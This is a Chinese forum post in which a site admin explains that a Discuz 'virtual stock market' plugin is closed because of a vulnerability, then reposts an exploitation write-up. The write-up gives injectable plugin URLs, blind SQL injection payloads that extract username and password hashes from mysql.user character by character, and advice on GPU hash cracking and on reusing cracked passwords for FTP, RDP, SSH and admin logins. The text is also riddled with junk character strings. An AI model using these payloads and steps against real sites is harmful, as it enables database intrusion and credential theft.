TA的每日心情 | 擦汗 2025-1-24 09:05 |
---|
签到天数: 2402 天 [LV.Master]伴坛终老
|
很多朋友在找虚拟股市,其实并非本站不想开放,插件出现了严重漏洞,而且这个插件是加密的,无法修改源码。- p% }5 W: T- P9 ]$ N& g
9 `: [0 _% I8 N* x5 S. `
我们一直在等在原作者站出来解决,假如作者一直出现的话,我们可能会放弃这个版本的虚拟股市,所有资金将换算成ec币,发放到各位的账号。
X0 }( J7 h' U9 m
, U% t" e4 v4 @ U z p漏洞如下:
0 l4 H/ t3 L B
) E- n8 J+ Z; Y! |& YDiscuz插件《虚拟股市》blind Injection Vul利用 $ y% S' n( V+ T5 t1 f
7 p# c" I- D# u* q/ p" E8 y
! v9 t: N, {' G: q1 N/ z漏洞的发现来自于对某站的渗透,由于其discuz版本为7.0,所以我只能把眼光聚焦在了它所安装的第三方插件上。
$ K T7 u6 Q' ~' }% d经过简单的测试,就发现了《虚拟股市》存在注射漏洞: 8 }0 f1 n# m3 |: E' K
http://www.target.com/plugin.php ... _One&stockid=91 # 91为可变参数 # h* k8 C7 X8 e V9 s: O/ |3 [, g
http://www.target.com/plugin.php ... ser_Show&uid=13 # 13为可变参数 & X" P, w# w' T6 E% A4 ]+ ~
确认存在注射后开始尝试用order by猜解字段数,然后union select。但两个注射点都在字段数达到一定数目后,所执行的SQL语句发生了变化。原因是插件代码中有控制语句,使其跳转到另一行中执行。这种情况下,我们没办法获得字段数。 : z. j# j* s% w' c, l* \
思路有二:
6 T+ m3 Y( E- s" w9 g1.尝试盲注 : k @# @- { w( S" [
2.通过阅读《虚拟股市》这个插件的源码来确认其表结构和字段数
; \! g% D# [ y+ T但经过搜索发现,这个插件的作者在发布时用了zend对其源码进行了加密。而现有所有的解密工具都不是很理想(这也是无法搞清楚漏洞原理和细节的原因)。因此,只能采取盲注的手法(对我而言)。
4 ]! K+ r8 B5 X$ A: v盲注费时间是没办法的,但我们会想,盲注能获得哪些信息呢?我的方法如下: 5 g; ~0 {) a/ U z
#判断MYSQL版本,返回正常则为5,返回不正常则继续测试是否为4
% r& b) S' W; ]$ d0 n2 K/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and substring(@@version,1,1)=5 ; v* ]5 s! ~8 p5 ]. Y& H$ Z- L m) t
#是否支持子查询(版本为4的情况下) , r3 [8 P3 m R1 i
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1)=1
2 F) y2 p' r7 U#当前用户是否为root : O/ A/ ]* J8 Y
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1 from mysql.user limit 0,1)=1 9 j4 _$ F8 _$ v- J% v: X
下面就根据情况而异了:
9 F- \: g. l( K. I1. 假如数据库用户为root,则可以直接取出root密码HASH,然后破解。如果对方服务器3306开放,或者装有phpmyadmin,那么下一步不用说相信大家也知道了。如果没有开放3306,也没有安装phpmyadmin,那么可以用破解出来的密码猜测一下ftp密码,3389密码,或者SSH密码,又或者后台管理员密码,等等。
# v* o' U6 o# [# r6 k2.假如数据库用户不为root,则直接取出discuz用户表cdb_members的管理员密码HASH,然后破解。 2 D6 P8 U0 h* `
#######取数据 * d& p3 u( _" W
#mysql.user表第一行第一个字符的ASCII值是否大于80
9 ]+ ?; ~% n3 l- w" g3 z5 Xand ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),1,1))>80
9 z. X; Z6 ]! \2 o5 {2 g5 x3 K#第二个字符的ASCII值是否大于90 ; m9 u" x2 I* B1 J, n0 H; t& J" x8 D) i1 ?
and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),2,1))>90
5 O+ B$ X! u: ]+ A" F' {1 L" Z…………
' q5 x$ |" l4 i" ?就这样逐个猜,MYSQL4的密码HASH为16位MD5加密,MYSQL5的密码HASH为41位(加*号)。
\8 e7 E k9 K9 M密码破解:
( f' s9 y7 q3 ]/ s, ]2 b5 _! G1.MYSQL版本为4的话,这里有工具www.sqlhack.com,这个工具利用的是一个传说中的BUG,速度爆快。 * e7 L% z2 r! I
2.MYSQL 版本为5的话,我推荐用ighashgpu进行破解(貌似只用GPU,不用CPU),我AMD4核+HD 4650显卡,破解速度为60M/s,放到Inter Core i7 8核 + NVIDIA GeForce 9800GTX+平台上,速度是70M/s。而用passwordpro,速度才170w/s,这就是差距。7位纯字母我只用了7分多钟就破出来了。 |
|